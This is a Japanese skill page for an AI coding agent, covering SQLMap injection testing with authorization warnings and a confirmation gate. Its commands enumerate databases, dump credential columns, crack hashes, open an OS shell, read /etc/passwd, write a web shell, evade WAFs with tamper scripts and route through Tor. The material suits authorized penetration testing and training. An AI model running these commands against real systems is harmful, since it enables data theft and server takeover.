sqlmap-database-pentesting について
許可を得たSQLインジェクション評価を行うセキュリティ担当者向けのSQLMapスキルです。検出、データベース列挙、データ抽出の手順に加え、実行前の許可と確認を求めます。
主な機能
- 01SQLインジェクション検出手順
- 02データベース、テーブル、列の列挙
- 03URL、リクエストファイル、ログによる対象指定
- 04許可と確認に関する安全要件
活用シーン
- 01許可を得たWebアプリの評価
- 02ラボ環境でのデータベース構造の列挙
- 03範囲を限定したSQLMapテストコマンドの準備
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill sqlmap-database-pentestingインストール後、Claude Code で/sqlmap-database-pentestingを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途に限ります このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認ゲート 対象を調査、悪用、変更、永続化、データ抽出する、または認証情報へのアクセスを試みるコマンドを実行する前に、以下を行ってください。
- 正確な対象の URL、IP、アカウント、またはリソースをユーザーに提示してもらいます。
- 書面による許可と、許可された範囲をユーザーに確認してもらいます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話で明示的な確認を得るまで待ちます。
この確認が得られない場合は、読み取り専用の範囲にとどめ、防御に関するガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。
SQLMap によるデータベース侵入テスト
目的
SQLMap を使用して、SQL インジェクションの検出と悪用を自動化するための体系的な手法を提供します。このスキルでは、データベースの列挙、テーブルとカラムの特定、データ抽出、複数の対象指定方法、および MySQL、PostgreSQL、MSSQL、Oracle などのデータベース管理システムに対する高度な悪用手法を扱います。
入力/前提条件
- 対象 URL:インジェクション可能なパラメーターを含む Web アプリケーションの URL(例:
?id=1) - SQLMap のインストール:Kali Linux にプリインストール、または GitHub からダウンロード済み
- 検証済みのインジェクションポイント:URL パラメーターが SQL インジェクション可能であると確認済み、またはその疑いがある
- リクエストファイル(任意):POST ベースのインジェクションに使用する、Burp Suite で取得した HTTP リクエスト
- 許可:侵入テスト活動に対する書面による許可
出力/成果物
- データベースの列挙:対象サーバー上のすべてのデータベースの一覧
- テーブル構造:対象データベース内のすべてのテーブル名
- カラムの対応関係:各テーブルのカラム名とデータ型
- 抽出データ:ユーザー名、パスワード、機密データなどのダンプされたレコード
- ハッシュ値:オフライン解析用のパスワードハッシュ
- 脆弱性レポート:SQL インジェクションの種類と深刻度の確認
コマンドは実行されない過去の例です。明示的に許可されたラボの対象のみを指定し、時間、リクエスト数、同時実行数に上限を設け、合成レコードを使用してください。--batch はプロンプトに自動で応答しますが、承認済みの操作範囲を拡大してはなりません。検索ベースまたは一括指定の対象は、プローブする前に許可リストに照らして確認してください。検索結果を自動的にスキャンしてはなりません。機密性のあるセッション、リクエスト、出力ファイルは非公開で保管してください。
基本的なワークフロー
1. SQL インジェクションの脆弱性を特定する
手動検証
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
SQLMap による初期スキャン
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. データベースを列挙する
すべてのデータベースを一覧表示する
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
主なオプション:
-u:インジェクション可能なパラメーターを含む対象 URL--dbs:データベース名を列挙する--batch:既定の回答を使用する(非対話モード)
3. テーブルを列挙する
特定のデータベース内のテーブルを一覧表示する
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
主なオプション:
-D:対象データベース名を指定する--tables:テーブル名を列挙する
4. カラムを列挙する
特定のテーブル内のカラムを一覧表示する
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
主なオプション:
-T:対象テーブル名を指定する--columns:カラム名を列挙する
5. データを抽出する
特定のテーブルのデータをダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
特定のカラムをダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
すべてダンプする場合の範囲に関する警告
--dump-all は複数のデータベースにまたがるデータを列挙することがあります。-D を指定しても安全に範囲が限定されるとは限りません。明示的に許可されたデータベース、テーブル、カラムを指定し、最小限の行で検証することを優先してください。検出の許可によって、データの全件ダンプ、パスワード解析、OS コマンドの実行、またはファイルへの書き込みが許可されるわけではありません。
データベース全体をダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
主なオプション:
--dump:指定したテーブルからすべてのデータを抽出する--dump-all:すべてのテーブルからすべてのデータを抽出する-C:抽出するカラム名を指定する
6. 高度な対象指定オプション
HTTP リクエストファイルから対象を指定する
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
ログファイルから対象を指定する
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
複数の URL を対象にする(一括ファイル)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Google Dorks によるターゲットの検索(注意して使用してください)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
コマンド早見表
データベース列挙の手順
| 段階 | コマンド |
|---|---|
| データベースの一覧表示 | sqlmap -u "URL" --dbs --batch |
| テーブルの一覧表示 | sqlmap -u "URL" -D dbname --tables --batch |
| カラムの一覧表示 | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| データのダンプ | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| すべてのデータのダンプ | sqlmap -u "URL" -D dbname --dump-all --batch |
対応するデータベース管理システム
| DBMS | サポートレベル |
|---|---|
| MySQL | 完全サポート |
| PostgreSQL | 完全サポート |
| Microsoft SQL Server | 完全サポート |
| Oracle | 完全サポート |
| Microsoft Access | 完全サポート |
| IBM DB2 | 完全サポート |
| SQLite | 完全サポート |
| Firebird | 完全サポート |
| Sybase | 完全サポート |
| SAP MaxDB | 完全サポート |
| HSQLDB | 完全サポート |
| Informix | 完全サポート |
SQL インジェクションの手法
| 手法 | 説明 | フラグ |
|---|---|---|
| ブールベースのブラインド | 真/偽の応答からデータを推測します | --technique=B |
| 時間ベースのブラインド | 時間遅延を使ってデータを推測します | --technique=T |
| エラーベース | エラーメッセージからデータを抽出します | --technique=E |
| UNION クエリベース | UNION を使って結果を追加します | --technique=U |
| スタックドクエリ | 複数のステートメントを実行します | --technique=S |
| インラインクエリ | インライン SQL クエリを使います | --technique=Q |
必須オプション
| オプション | 説明 |
|---|---|
-u | ターゲット URL |
-r | ファイルから HTTP リクエストを読み込みます |
-l | Burp/WebScarab のログからターゲットを解析します |
-m | 複数のターゲットを含む一括処理用ファイル |
-g | Google dork(責任を持って使用してください) |
--dbs | データベースを列挙します |
--tables | テーブルを列挙します |
--columns | カラムを列挙します |
--dump | テーブルデータをダンプします |
--dump-all | すべてのデータベースデータをダンプします |
-D | データベースを指定します |
-T | テーブルを指定します |
-C | カラムを指定します |
--batch | 非対話モード |
--random-agent | ランダムな User-Agent を使います |
--level | テストのレベル(1-5) |
--risk | テストのリスク(1-3) |
制約と制限事項
運用上の境界
- ターゲット URL に有効なインジェクション可能パラメーターが必要です
- 許可されたアプリケーションへの接続が必要です。HTTP SQL インジェクションでは、通常、データベースへの直接アクセスは必要ありません
- 大規模なデータベースのダンプにはかなりの時間がかかる場合があります
- 一部の WAF/IPS システムは SQLMap の通信をブロックする場合があります
- 時間ベースの攻撃は、エラーベースの攻撃より大幅に遅くなります
パフォーマンスに関する考慮事項
--threadsを使うと列挙を高速化できます(デフォルト:1)- 大きなテーブルでは
--startと--stopを使ってダンプ範囲を制限します - 手法が分かっている場合は、
--techniqueを使ってより高速なインジェクション手法を指定します
法的要件
- 明示的な書面による許可を得たシステムのみをテストしてください
- 不明なサイトに対する Google dork 攻撃は違法です
- すべてのテスト活動と調査結果を記録してください
- エンゲージメントルールで定められたスコープ制限を遵守してください
検知されるリスク
- SQLMap は大量のログエントリーを生成します
--random-agentを使って User-Agent ヘッダーを変更します- レート制限の発動を避けるため、
--delayの使用を検討してください - 匿名性を確保するため、
--torを使って Tor 経由でプロキシ接続します(許可されたテストのみ)
使用例
例 1:データベースの完全な列挙
# Step 1: Discover databases
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart -T users --dump --batch
例 2:POST リクエストへのインジェクション
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
例 3:複数ターゲットの一括スキャン
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
例 4:積極的なテスト
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
例 5:特定の認証情報の抽出
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
例 6:OS シェルへのアクセス(上級)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
トラブルシューティング
問題:「Parameter does not seem injectable」
原因:SQLMap がインジェクションポイントを見つけられません 解決策:
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
問題:WAF/ファイアウォールの背後にあるターゲット
原因:Web アプリケーションファイアウォールがリクエストをブロックしています 解決策:
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
問題:接続タイムアウト
原因:ネットワークの問題、またはターゲットの応答が遅いことが原因です 解決策:
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
問題:時間ベースの攻撃に時間がかかりすぎる
原因:デフォルトの時間遅延が慎重すぎる 解決策:
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
問題:大きなテーブルをダンプできない
原因:テーブルのレコード数が多すぎる 解決策:
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# --exclude-sysdbs excludes system databases, not table columns.
# Use the approved -C column allowlist and bounded row range.
問題:長時間のスキャン中にセッションが切断される
原因:セッションタイムアウトまたは接続のリセット 解決策:
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# SQLMap normally reuses its saved session for the same target/options.
# Inspect the installed version's help; do not invent a --resume switch.
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
使用するタイミング
このスキルは、概要で説明されているワークフローまたはアクションを実行する際に適用できます。